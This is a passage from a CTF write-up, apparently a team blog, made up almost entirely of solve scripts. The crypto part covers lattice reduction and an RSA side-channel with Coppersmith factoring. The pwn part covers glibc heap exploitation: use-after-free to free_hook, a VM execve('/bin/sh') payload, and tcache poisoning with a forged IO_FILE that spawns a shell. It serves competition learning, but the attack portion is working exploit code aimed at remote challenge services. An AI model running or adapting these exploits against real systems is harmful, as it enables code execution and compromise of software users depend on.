b2_list = eval(data_v['b2'])

with open('RSA.enc', 'r') as f:
data_rsa = json.load(f)
N = int(data_rsa['N'])
c = int(data_rsa['c'])

# Parameters
n = 20
m = 30

# Construct matrices and vectors in Sage
A = matrix(GF(p), A_list)
B = matrix(GF(p), B_list)

b1 = vector(GF(p), b1_list)
b2 = vector(GF(p), b2_list)

M_sys = block_matrix([[A, B], [B, A]]) # 2n x 2m
b_sys = vector(GF(p), list(b1) + list(b2)) # length 2m

# Lattice reduction
M_sys_int = M_sys.change_ring(ZZ)
b_sys_int = b_sys.change_ring(ZZ)

L_rows = []
for row in M_sys_int:
L_rows.append(list(row) + [0])

for i in range(2*m):
r = [0] * (2*m + 1)
r[i] = p
L_rows.append(r)

L_rows.append(list(b_sys_int) + [1])

L = matrix(ZZ, L_rows)

print("Running LLL...")
L_reduced = L.LLL()

found_e = None
for row in L_reduced:
if row[-1] == 1:
vec = row[:-1]
if all(abs(x) <= 1 for x in vec):
found_e = vector(ZZ, vec)
break
elif row[-1] == -1:
vec = row[:-1]
if all(abs(x) <= 1 for x in vec):
found_e = -vector(ZZ, vec)
break

if found_e is None:
print("Failed to find e")
exit()

print("Found e:", found_e)

target = b_sys - vector(GF(p), found_e)

try:
S_sol = M_sys.transpose().solve_right(target)
print("Found S")
except ValueError:
print("Failed to solve for S")
exit()

s1 = S_sol[:n]
s2 = S_sol[n:]

def vector_to_sha512_hex(vector):
vector_str = ''.join(str(i) for i in vector)
res = sha512(vector_str.encode()).hexdigest()
res = int(res,16)
return res

d_val = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)

print("Attempting decryption...")
d_base = d_val
for k in range(2000):
d_try = d_base + k
m_int = power_mod(c, d_try, N)
try:
flag_bytes = long_to_bytes(m_int)
if b'DASCTF' in flag_bytes:
print(f"Found flag with d offset {k}:", flag_bytes)
break
except:
continue
else:
print("Flag not found in range")

Serration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
from pwn import *
from Crypto.Util.number import inverse
import subprocess
import sys

def main():
# State
interaction_counter = 0

# [Init] Connecting
conn = remote('node5.buuoj.cn', 26981)

try:
# [Step 1] Retrieve Public Key
print("🚀 [Phase 1] 正在获取 RSA 公钥...")
modulus_n = 0
exponent_e = 0
try:
while True:
raw_line = conn.recvline().strip().decode()
if raw_line.startswith('('):
break
modulus_n, exponent_e = eval(raw_line)
print(f" 🔑 模数 N: {modulus_n}")
print(f" ⚡ 指数 e: {exponent_e}")
except Exception as error:
print(f"❌ [Error] 获取密钥失败: {error}")
sys.exit(1)

r_val = 1 << 1024
r_inv_val = inverse(r_val, modulus_n)

# Helper for probing (defined inside main scope to access interaction_counter)
def send_probe(msg_int):
nonlocal interaction_counter
try:
conn.recvuntil(b'> ', timeout=5)
conn.sendline(str(msg_int).encode())
interaction_counter += 1

resp = conn.recvline().strip().decode()
if not resp:
return {}
return eval(resp)
except Exception as e:
return {}

# [Step 2] Calibrate Side-Channel
print("🛠️ [Phase 2] 正在校准侧信道泄露...")

print(" 📡 发送探测包 1 (Zero)...")
stats_zero = send_probe(0)

print(" 📡 发送探测包 2 (N-1)...")
payload_max = (modulus_n - 1) * r_inv_val % modulus_n
stats_max = send_probe(payload_max)

best_line = None
highest_diff = -1

unique_lines = set(stats_zero.keys()) | set(stats_max.keys())
for line in unique_lines:
h0 = stats_zero.get(line, (0, 0))[1]
h1 = stats_max.get(line, (0, 0))[1]
diff = h1 - h0
if diff > highest_diff:
highest_diff = diff
best_line = line

baseline_hits = stats_zero.get(best_line, (0, 0))[1]
leak_line_id = best_line

print(f" 🎯 锁定泄露行: {best_line}")
print(f" 📊 基准命中数: {baseline_hits}")
print(f" 📈 最大差异观测值: {highest_diff}")

if highest_diff < 50:
print("⚠️ [Warning] 信噪比可能过低,请注意。")

# [Step 3] Extract Key Bits
print(f"⛏️ [Phase 3] 正在挖掘高位 {590} 比特...")
recovered_val = 0
current_hits = baseline_hits

start_bit = 1023
end_bit = 1023 - 590

for bit_idx in range(start_bit, end_bit, -1):
# Assume current bit is 1
candidate = recovered_val | (1 << bit_idx)
payload = (candidate * r_inv_val) % modulus_n

measurements = send_probe(payload)
obs_hits = measurements.get(leak_line_id, (0, 0))[1]

diff = obs_hits - current_hits

bit_res = 0
if diff > -80:
bit_res = 1
recovered_val = candidate
current_hits = obs_hits
else:
bit_res = 0

if (start_bit - bit_idx) % 20 == 0:
print(f" 🔨 Bit {bit_idx}: {bit_res} | 当前 Hex: {hex(recovered_val)}")

print(f"✅ [Success] 高位提取完成。")
print(f" 💎 恢复值 (Hex): {hex(recovered_val)}")
partial_p = recovered_val

# [Step 4] Exhaust Quota
queries_left = 600 - interaction_counter
if queries_left < 0:
print(f"⚠️ [Warning] 配额已超: {interaction_counter}/600")
else:
print(f"⏳ [Phase 4] 消耗剩余查询配额 ({queries_left} 次)...")
for i in range(queries_left):
send_probe(0)
if i % 10 == 0:
sys.stdout.write('.')
sys.stdout.flush()
print("\n🏁 [Done] 配额消耗完毕。")

# [Step 5] Save Params
unknown_bits = 1024 - 590
print(f"💾 [Phase 5] 保存参数以备 Coppersmith 攻击...")
with open('params.txt', 'w') as f:
f.write(f"{modulus_n}\n")
f.write(f"{partial_p}\n")
f.write(f"{unknown_bits}\n")

# [Step 6] Run Sage
print("🧮 [Phase 6] 启动 SageMath 求解器...")
subprocess.run(['sage', 'solve.sage'])

# [Final] Submit
try:
with open('p_found.txt', 'r') as f:
recovered_p = int(f.read().strip())
print(f"🎉 [Result] 恢复因子 P: {recovered_p}")

print(f"📨 [Final] 提交候选因子: {recovered_p}")
conn.recvuntil(b"can you break me?")
conn.sendline(str(recovered_p).encode())
reply = conn.recvall(timeout=5).decode().strip()
print(f"📬 FLAG:\n{reply}")

except FileNotFoundError:
print("💀 [Failure] SageMath 脚本未生成结果。")

finally:
conn.close()

if __name__ == '__main__':
main()
from sage.all import *

def solve():
print("[Sage] Starting Coppersmith solver...")
try:
with open('params.txt', 'r') as f:
n = int(f.readline().strip())
recovered_high = int(f.readline().strip())
unknown_bits = int(f.readline().strip())

print(f"[Sage] N bits: {n.bit_length()}")
print(f"[Sage] Recovered High Value: {recovered_high}")
print(f"[Sage] Unknown bits: {unknown_bits}")

# Coppersmith's Attack
# We know high bits of a factor p (or q). Let's call it p_high.
# p = p_high + x, where x is small.

P = PolynomialRing(Zmod(n), names='x')
x = P.gens()[0]
f = recovered_high + x

# The bound for x is 2^unknown_bits.
# We add a small margin (+15 bits) as in exp1.py to be safe.
X_bound = 2**(unknown_bits + 15)

print(f"[Sage] Running small_roots with X={X_bound}, beta=0.49, epsilon=0.03")

# beta=0.49 because we are looking for a factor of size ~N^0.5
# epsilon=0.03 controls the trade-off between runtime and bound size
roots = f.small_roots(X=X_bound, beta=0.49, epsilon=0.03)

if roots:
root = int(roots[0])
print(f"[Sage] Found root: {root}")
p = recovered_high + root

# Verify
if n % p == 0:
print(f"[Sage] Success! Found factor p: {p}")
with open('p_found.txt', 'w') as f_out:
f_out.write(str(p))
else:
print(f"[Sage] Found root but it didn't factor N. p={p}")
else:
print("[Sage] No roots found.")

except Exception as e:
print(f"[Sage] Error: {e}")

if __name__ == '__main__':
solve()

Pwn

rcms

uaf打free_hook劫持到后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = 'node5.buuoj.cn:25328'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b''

def add(idx, size, data):
sla(IAT, b'1')
sla(b'which', str(idx))
sla(b'much', str(size))
sa(b'input cmd:', data)

def dele(idx):
sla(IAT, b'2')
sla(b'which', str(idx))

def edit(idx, data):
sla(IAT, b'3')
sla(b'which', str(idx))
sa(b'input ur cmd:', data)

def show(idx):
sla(IAT, b'4')
sla(b'which connection do u want to show:\n', str(idx))

cmd = '''
brva 0xCDA
brva 0xE05
brva 0xEF0
brva 0xFB0
c
'''
add(0, 0x100, b'a')
add(1, 0x100, b'a')
dele(1)
dele(0)
show(0)
heap_base = u64_ex(r(6)) - 0x13B0
log_heap_base_addr(heap_base)

edit(0, p64(heap_base + 0x260))
add(2, 0x100, b'a')
add(3, 0x100, b'\xd8')
show(3)
code_base = u64_ex(r(6)) - 0xFD8
set_current_code_base_and_log(code_base)

add(4, 0x200, b'a')
add(5, 0x200, b'a')
dele(4)
dele(5)
edit(5, p64(code_base + 0x202040))
add(6, 0x200, b'a')
add(7, 0x200, p64(code_base + 0x202020))
show(0)
libc_base = u64_ex(r(6)) - libc.sym._IO_2_1_stdout_
set_current_libc_base_and_log(libc_base)

edit(7, p64(libc.sym.__free_hook))
edit(0, p64(code_base + 0xFD8))

launch_gdb(cmd)
dele(0)
ru(b'what are u want say to me?\n')
s(ShellcodeMall.amd64.cat_flag)

ia()

mvmp

虚拟机opcode自带syscall,调用就完了

ai逆向代码贴最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
#!/usr/bin/env python3
from pwncli import *
from assembler import *

context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.8', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
cmd = (
'''
brva 0x17F2
# fmt0 read
brva 0x257A
dis 2
brva 0x10C0
brva 0x1706
brva 0x1784
c
c
c
c
enable 2
'''
+ 'c\n' * 8
+ 'ida\n'
)
gift.elf = ELF(elf_path := './vvmm')
if local_flag == "remote":
addr = 'node5.buuoj.cn:28949'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = gdb.debug(elf_path, cmd, sysroot='/')
# gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

# launch_gdb(cmd)

vm = VMAssembler()
vm.mov_sp(0)
vm.sub(R0, 0x1C)
vm.sub(R1, 0x2FFC4)
vm.sub(R2, 7)
vm.syscall_p0(0x3B)
payload = vm.get_payload()[4:]
ru(b'What\'s your name?\n')
s(b'/bin/sh'.ljust(0x18, b'\x00') + p32(0x2FFE0) + payload.ljust(0x30, b'\x00'))

ia()
import struct

class VMAssembler:
def __init__(self):
self.code = bytearray()
self.labels = {}
self.jumps = [] # (offset, label_name, instruction_type)

def _emit(self, b):
self.code.extend(b)

def label(self, name):
self.labels[name] = len(self.code)

def _resolve_jumps(self):
for offset, label, instr_type in self.jumps:
if label not in self.labels:
raise ValueError(f"Undefined label: {label}")

target = self.labels[label]
# PC points to the next instruction (current offset + 4 for Format 0)
pc = offset + 4
diff = target - pc

if diff < 0:
imm = (-diff) | 0x800000
else:
imm = diff & 0x7FFFFF

# Patch the 3-byte immediate (Big Endian)
# The immediate is at offset + 1
self.code[offset + 1] = (imm >> 16) & 0xFF
self.code[offset + 2] = (imm >> 8) & 0xFF
self.code[offset + 3] = imm & 0xFF

def get_payload(self, entry_point=0):
self._resolve_jumps()
return struct.pack('<I', entry_point) + self.code

# Format 0: Opcode (1) + Imm24 (3)
def _fmt0(self, base, imm):
opcode = (base << 2) | 0
# Emit Imm24 in Big Endian
self._emit([opcode, (imm >> 16) & 0xFF, (imm >> 8) & 0xFF, imm & 0xFF])

def _fmt0_jump(self, base, label):
self.jumps.append((len(self.code), label, 0))
self._fmt0(base, 0)

# Format 1: Opcode (1) + Reg (1)
def _fmt1(self, base, reg):
opcode = (base << 2) | 1
self._emit([opcode, reg])

# Format 2: Opcode (1) + Reg1 (1) + Reg2 (1)
def _fmt2(self, base, reg1, reg2):
opcode = (base << 2) | 2
self._emit([opcode, reg1, reg2])

# Format 3: Opcode (1) + Reg (1) + Imm32 (4)
def _fmt3(self, base, reg, imm):
opcode = (base << 2) | 3
self._emit([opcode, reg])
self._emit(struct.pack('<I', imm))

# Instructions
def stack_alloc(self, size):
self._fmt0(0x24, size) # $

def stack_dealloc(self, size):
self._fmt0(0x25, size) # %

def jmp(self, label):
self._fmt0_jump(0x29, label) # )

def jne(self, label):
self._fmt0_jump(0x2A, label) # *

def je(self, label):
self._fmt0_jump(0x2B, label) # +

def jl(self, label):
self._fmt0_jump(0x2C, label) # ,

def jge(self, label):
self._fmt0_jump(0x2D, label) # -

def jg(self, label):
self._fmt0_jump(0x2E, label) # .

def jle(self, label):
self._fmt0_jump(0x2F, label) # /

def call(self, label):
self._fmt0_jump(0x30, label) # 0

# Syscalls (Format 0)
# 0x33: syscall(imm, r0, r1, r2, r3, r4, r5)
def syscall(self, num):
self._fmt0(0x33, num)

# 0x34: syscall(imm, &r0, r1, r2, r3, r4, r5)
def syscall_p0(self, num):
self._fmt0(0x34, num)

# 0x35: syscall(imm, r0, &r1, r2, r3, r4, r5)
def syscall_p1(self, num):
self._fmt0(0x35, num)

# 0x36: syscall(imm, r0, r1, &r2, r3, r4, r5)
def syscall_p2(self, num):
self._fmt0(0x36, num)

# 0x37: syscall(imm, &r0, &r1, r2, r3, r4, r5)
def syscall_p01(self, num):
self._fmt0(0x37, num)

# 0x38: syscall(imm, &r0, r1, &r2, r3, r4, r5)
def syscall_p02(self, num):
self._fmt0(0x38, num)

# 0x39: syscall(imm, r0, &r1, &r2, r3, r4, r5)
def syscall_p12(self, num):
self._fmt0(0x39, num)

# 0x3A: syscall(imm, &r0, &r1, &r2, r3, r4, r5)
def syscall_p012(self, num):
self._fmt0(0x3A, num)

def ret(self):
self._fmt0(0x3B, 0) # ;

# Format 1
def push(self, reg):
self._fmt1(0x1F, reg)

def pop(self, reg):
self._fmt1(0x20, reg)

def inc(self, reg):
self._fmt1(0x21, reg)

def dec(self, reg):
self._fmt1(0x22, reg)

def mov_sp(self, reg):
self._fmt1(0x23, reg) # Reg = SP

def jmp_reg(self, reg):
self._fmt1(0x29, reg)

def call_reg(self, reg):
self._fmt1(0x30, reg)

# Format 2 (Reg, Reg) & Format 3 (Reg, Imm)
def cmp(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x01, r1, r2_or_imm)
else:
self._fmt2(0x01, r1, r2_or_imm)

def mov(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x03, r1, r2_or_imm)
else:
self._fmt2(0x03, r1, r2_or_imm)

def xor(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x04, r1, r2_or_imm)
else:
self._fmt2(0x04, r1, r2_or_imm)

def or_(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x05, r1, r2_or_imm)
else:
self._fmt2(0x05, r1, r2_or_imm)

def and_(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x06, r1, r2_or_imm)
else:
self._fmt2(0x06, r1, r2_or_imm)

def shl(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x07, r1, r2_or_imm)
else:
self._fmt2(0x07, r1, r2_or_imm)

def shr(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x08, r1, r2_or_imm)
else:
self._fmt2(0x08, r1, r2_or_imm)

def add(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0A, r1, r2_or_imm)
else:
self._fmt2(0x0A, r1, r2_or_imm)

def sub(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0B, r1, r2_or_imm)
else:
self._fmt2(0x0B, r1, r2_or_imm)

# Load/Store
# LDB R1, [R2/Imm]
def ldb(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0C, r1, r2_or_imm)
else:
self._fmt2(0x0C, r1, r2_or_imm)

def ldw(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0D, r1, r2_or_imm)
else:
self._fmt2(0x0D, r1, r2_or_imm)

def ldd(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0E, r1, r2_or_imm)
else:
self._fmt2(0x0E, r1, r2_or_imm)

# STB [R1], R2/Imm
def stb(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x0F, r1, r2_or_imm)
else:
self._fmt2(0x0F, r2_or_imm, r1) # Note: Format 2 is STB [Reg2], Reg1. So swap.

def stw(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x10, r1, r2_or_imm)
else:
self._fmt2(0x10, r2_or_imm, r1)

def std(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self._fmt3(0x11, r1, r2_or_imm)
else:
self._fmt2(0x11, r2_or_imm, r1)

# Registers
R0 = 0
R1 = 1
R2 = 2
R3 = 3
R4 = 4
R5 = 5

if __name__ == '__main__':
vm = VMAssembler()
# Example: write "flag" to memory and open it
# R0 = offset of "flag"
# R1 = flags (0)
# syscall open

# We need to put the string "flag" somewhere in memory.
# Let's put it at offset 0x1000.

vm.mov(R0, 0x67616C66) # "flag"
vm.std(R0, 0x1000) # Store at 0x1000
vm.mov(R0, 0)
vm.stb(R0, 0x1004) # Null terminator

vm.mov(R0, 0x1000) # R0 = offset
vm.mov(R1, 0) # R1 = O_RDONLY
vm.syscall_p0(2) # open(R0, R1). p0 means R0 is pointer.

# R0 has fd.
# read(fd, buf, 0x100)
vm.mov(R1, 0x2000) # buf offset
vm.mov(R2, 0x100) # count
vm.syscall_p1(0) # read(R0, R1, R2). p1 means R1 is pointer.

# write(1, buf, 0x100)
vm.mov(R0, 1) # stdout
vm.mov(R1, 0x2000) # buf offset
vm.mov(R2, 0x100) # count
vm.syscall_p1(1) # write(R0, R1, R2). p1 means R1 is pointer.

payload = vm.get_payload()
with open('payload.bin', 'wb') as f:
f.write(payload)

CV_Manager

uaf打stdout以跳过沙箱直接rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = 'node5.buuoj.cn:25083'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
passwd = b'p9s3w0r6'
sla(b'username:', b'r00t')
sla(b'password:', passwd)
IAT = b'Your choice:'

def add(size, data):
sla(IAT, b'1')
sla(b'length', str(size))
sa(b'name', data)

def dele(idx):
sla(IAT, b'3')
sla(b'Which', str(idx))

def edit(idx, data):
sla(IAT, b'2')
sla(b'Which', str(idx))
sla(b'Please briefly introduce yourself:', data)

def show(idx):
sla(IAT, b'4')
sla(b'Which', str(idx))

def backdoor(idx):
sla(IAT, b'666')
sla(b'index:\n', str(idx))

def fake_tcache(size_info):
TCACHE_MAX_BINS = 64
counts = bytearray(TCACHE_MAX_BINS * 2)
entries = bytearray(TCACHE_MAX_BINS * 8)

for size, (count, address) in size_info.items():
bin_index = (size >> 4) - 2
if 0 <= bin_index < TCACHE_MAX_BINS:
counts[bin_index * 2] = min(count, 255)
addr_bytes = struct.pack('<Q', address)
entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

tcache_struct = counts + entries
return tcache_struct

cmd = '''
brva 0x1B50
brva 0x1C99
brva 0x1D51
brva 0x1EC0
brva 0x1F9C
set $h = $rebase(0x5060)
c
'''
add(0x160, b'CCTTFFEERR!!')
add(0x160, b'b')
backdoor(0)
code_base = u64_ex(r(8)) - 0x51E0
set_current_code_base_and_log(code_base)

show(0)
ru(b'\nintroduction:')
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(0x160, b'a')
dele(1)
dele(2)

edit(0, p64(protect_ptr(heap_base + 0x2A0, heap_base + 0x10)))
add(0x160, b'b')
add(0x160, b'c')
edit(2, fake_tcache({0x120: (1, code_base + 0x5060)})[:0x150])
add(0x110, b'd')
edit(3, p64(code_base + 0x5040) * 2)
show(0)
ru(b'\nintroduction:')
libc_base = u64_ex(r(8)) - libc.sym._IO_2_1_stderr_
set_current_libc_base_and_log(libc_base)
edit(3, p64(code_base + 0x5020) * 2)

fake_IO_FILE = heap_base + 0x2A0
payload = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.system, # function
0x88: heap_base + 0x1000,
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps - 0x20, # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
edit(1, payload)

launch_gdb(cmd)
edit(0, p64(fake_IO_FILE))

ia()
← 鹏城杯2025-WriteUP by 0psu3 RCTF 2025 writeup by 0psu3 →